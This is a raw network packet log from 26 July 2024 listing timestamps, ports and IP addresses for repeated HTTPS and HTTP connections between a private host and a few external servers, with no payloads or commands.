Jul 26, 2024 13:52:18.621328115 CEST	63454	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621335030 CEST	443	63454	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.621428967 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621455908 CEST	443	63455	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.621530056 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621566057 CEST	443	63456	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.621761084 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621761084 CEST	63454	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621763945 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621766090 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621812105 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621841908 CEST	443	63457	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.622114897 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.622128010 CEST	443	63458	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.622248888 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.622262001 CEST	443	63453	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.622361898 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.622375011 CEST	443	63456	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.622443914 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.622459888 CEST	443	63455	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.622714996 CEST	63454	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.622715950 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.622729063 CEST	443	63454	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.622894049 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.623142958 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.623166084 CEST	443	63457	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:18.623218060 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.623226881 CEST	443	63458	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.108820915 CEST	443	63456	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.109764099 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.112446070 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.112468958 CEST	443	63456	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.112772942 CEST	443	63456	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.113356113 CEST	443	63455	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.113555908 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.113914967 CEST	443	63454	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.114845991 CEST	63454	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.115623951 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.115636110 CEST	443	63455	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.115855932 CEST	443	63455	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.116754055 CEST	443	63457	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.118115902 CEST	63454	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.118122101 CEST	443	63454	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.118542910 CEST	443	63454	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.119880915 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.119880915 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.119880915 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.119940042 CEST	443	63459	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.121483088 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.121558905 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.121638060 CEST	443	63455	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.122191906 CEST	443	63458	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.122275114 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.122307062 CEST	443	63460	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.122369051 CEST	443	63456	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.122854948 CEST	63454	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.122889996 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.122922897 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.122975111 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.123033047 CEST	63454	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.123713017 CEST	63455	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.123764992 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.123764992 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.123806000 CEST	443	63453	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.123867989 CEST	63456	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.123868942 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.126223087 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.126265049 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.126270056 CEST	443	63457	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.126559019 CEST	443	63457	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.128206968 CEST	80	63452	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:19.128349066 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.128355026 CEST	443	63453	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.128700018 CEST	443	63453	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.130430937 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.130434990 CEST	443	63458	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.130706072 CEST	443	63458	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.130762100 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.130776882 CEST	443	63459	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.130776882 CEST	63452	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:19.131175995 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.131772041 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.131773949 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.131783009 CEST	443	63460	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.131788969 CEST	443	63461	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.134207964 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.134874105 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.134886026 CEST	443	63461	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.135435104 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.135659933 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.135807991 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.135824919 CEST	443	63457	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.135870934 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.136158943 CEST	443	63453	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.136524916 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.136692047 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.136728048 CEST	443	63458	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.136878014 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.136888981 CEST	63457	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.136888981 CEST	63458	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.139290094 CEST	63452	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:19.139487028 CEST	63462	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:19.145745039 CEST	80	63462	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:19.145843029 CEST	63462	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:19.146078110 CEST	63462	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:19.147866964 CEST	80	63452	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:19.147943020 CEST	63452	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:19.158144951 CEST	80	63462	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:19.280894995 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.287233114 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.292268038 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.325880051 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.399872065 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.527162075 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.643980980 CEST	443	63460	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.644077063 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.646733999 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.646743059 CEST	443	63460	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.647067070 CEST	443	63460	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.649584055 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.649780035 CEST	443	63460	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.649780989 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.649795055 CEST	443	63460	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.650605917 CEST	63460	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.653177977 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.662569046 CEST	443	63459	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.662718058 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.663753986 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.664949894 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.664958954 CEST	443	63459	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.665190935 CEST	443	63459	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.666788101 CEST	443	63461	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.668504000 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.668899059 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.668904066 CEST	443	63461	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.669248104 CEST	443	63461	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.669464111 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.669464111 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.669639111 CEST	443	63459	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.672503948 CEST	63459	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.672503948 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.672503948 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.672687054 CEST	443	63461	34.120.208.123	192.168.2.6
Jul 26, 2024 13:52:19.672842026 CEST	63461	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:19.767839909 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.771516085 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.781110048 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.829025030 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.874538898 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:19.929719925 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:19.950143099 CEST	80	63462	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:19.950264931 CEST	63462	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.073050976 CEST	63462	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.073354006 CEST	63463	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.078742027 CEST	80	63462	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:20.078865051 CEST	63462	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.078913927 CEST	80	63463	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:20.079102993 CEST	63463	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.079199076 CEST	63463	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.084496021 CEST	80	63463	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:20.853857040 CEST	80	63463	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:20.854085922 CEST	63463	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.857363939 CEST	63463	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.857681990 CEST	63465	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.863064051 CEST	80	63463	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:20.863070965 CEST	80	63465	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:20.863151073 CEST	63463	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.863190889 CEST	63465	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.863338947 CEST	63465	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:20.868319035 CEST	80	63465	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:21.629785061 CEST	80	63465	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:21.629875898 CEST	63465	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:21.743352890 CEST	63465	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:21.743604898 CEST	63466	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:21.748773098 CEST	80	63466	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:21.748840094 CEST	63466	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:21.748852015 CEST	80	63465	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:21.749006033 CEST	63466	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:21.749039888 CEST	63465	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:21.754034042 CEST	80	63466	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:22.638715982 CEST	80	63466	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:22.638874054 CEST	63466	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:22.641467094 CEST	63466	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:22.641568899 CEST	63467	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:22.646450996 CEST	80	63467	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:22.646740913 CEST	63467	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:22.646740913 CEST	63467	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:22.649297953 CEST	80	63466	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:22.649460077 CEST	63466	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:22.652744055 CEST	80	63467	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:23.418451071 CEST	80	63467	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:23.418589115 CEST	63467	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:23.536068916 CEST	63467	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:23.536406040 CEST	63468	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:23.541282892 CEST	80	63468	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:23.541579008 CEST	80	63467	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:23.541822910 CEST	63467	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:23.541845083 CEST	63468	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:23.541985035 CEST	63468	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:23.546770096 CEST	80	63468	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:24.341728926 CEST	80	63468	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:24.341811895 CEST	63468	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:24.344043016 CEST	63468	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:24.344387054 CEST	63469	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:24.349843979 CEST	80	63468	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:24.349904060 CEST	80	63469	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:24.349926949 CEST	63468	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:24.349986076 CEST	63469	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:24.350117922 CEST	63469	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:24.355638981 CEST	80	63469	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:25.125138044 CEST	80	63469	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:25.125654936 CEST	63469	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:25.243557930 CEST	63469	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:25.243880987 CEST	63470	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:25.254303932 CEST	80	63470	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:25.254472971 CEST	63470	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:25.254558086 CEST	63470	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:25.255808115 CEST	80	63469	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:25.255897999 CEST	63469	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:25.260071039 CEST	80	63470	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.072513103 CEST	80	63470	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.072580099 CEST	63470	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.075443983 CEST	63470	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.075706005 CEST	63471	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.080887079 CEST	80	63471	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.080969095 CEST	63471	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.081190109 CEST	63471	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.083364964 CEST	80	63470	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.083422899 CEST	63470	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.088130951 CEST	80	63471	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.841866970 CEST	80	63471	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.842011929 CEST	63471	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.953690052 CEST	63471	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.954052925 CEST	63472	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.960448980 CEST	80	63472	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.960453987 CEST	80	63471	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:26.960558891 CEST	63471	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.960570097 CEST	63472	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.960681915 CEST	63472	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:26.967057943 CEST	80	63472	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:27.725195885 CEST	80	63472	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:27.725403070 CEST	63472	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:27.728606939 CEST	63472	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:27.728882074 CEST	63473	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:27.736187935 CEST	80	63473	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:27.736285925 CEST	63473	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:27.736460924 CEST	63473	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:27.738193989 CEST	80	63472	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:27.738276005 CEST	63472	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:27.741524935 CEST	80	63473	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:28.502314091 CEST	80	63473	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:28.502449989 CEST	63473	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:28.631906986 CEST	63473	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:28.632152081 CEST	63474	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:28.637010098 CEST	80	63474	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:28.637115002 CEST	63474	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:28.637213945 CEST	80	63473	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:28.637231112 CEST	63474	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:28.637353897 CEST	63473	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:28.642380953 CEST	80	63474	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:29.403023958 CEST	80	63474	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:29.403109074 CEST	63474	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:29.406091928 CEST	63474	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:29.406461000 CEST	63475	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:29.411354065 CEST	80	63475	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:29.411448002 CEST	63475	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:29.411561012 CEST	63475	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:29.411874056 CEST	80	63474	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:29.411932945 CEST	63474	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:29.417140961 CEST	80	63475	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:29.828166008 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:29.837053061 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:29.928704977 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:29.933845997 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:30.176518917 CEST	80	63475	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:30.178807020 CEST	63475	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:30.293277025 CEST	63475	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:30.293621063 CEST	63476	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:30.300522089 CEST	80	63475	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:30.300604105 CEST	63475	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:30.300659895 CEST	80	63476	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:30.300733089 CEST	63476	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:30.300961971 CEST	63476	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:30.308655024 CEST	80	63476	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.074428082 CEST	80	63476	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.074875116 CEST	63476	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.077439070 CEST	63476	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.077728987 CEST	63477	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.083292961 CEST	80	63477	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.083417892 CEST	63477	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.083523989 CEST	63477	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.084527969 CEST	80	63476	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.084810019 CEST	63476	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.089258909 CEST	80	63477	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.860733986 CEST	80	63477	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.860811949 CEST	63477	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.983840942 CEST	63477	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.984097958 CEST	63478	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.989178896 CEST	80	63478	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.989799976 CEST	80	63477	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:31.989830971 CEST	63478	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.989830971 CEST	63478	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.989870071 CEST	63477	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:31.994805098 CEST	80	63478	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:32.838063002 CEST	80	63478	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:32.838342905 CEST	63478	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:32.840785980 CEST	63478	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:32.844552040 CEST	63479	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:32.847558022 CEST	80	63478	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:32.847632885 CEST	63478	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:32.849592924 CEST	80	63479	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:32.849736929 CEST	63479	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:32.849879026 CEST	63479	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:32.855026960 CEST	80	63479	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:33.611701965 CEST	80	63479	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:33.611784935 CEST	63479	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:33.735440016 CEST	63479	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:33.735716105 CEST	63480	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:33.741590023 CEST	80	63480	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:33.741664886 CEST	63480	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:33.741796970 CEST	63480	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:33.743494987 CEST	80	63479	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:33.743556023 CEST	63479	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:33.747147083 CEST	80	63480	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:34.498773098 CEST	80	63480	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:34.504398108 CEST	63480	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:34.507242918 CEST	63480	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:34.507571936 CEST	63481	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:34.512584925 CEST	80	63481	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:34.512696981 CEST	80	63480	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:34.512819052 CEST	63480	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:34.512844086 CEST	63481	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:34.513026953 CEST	63481	80	192.168.2.6	185.215.113.19
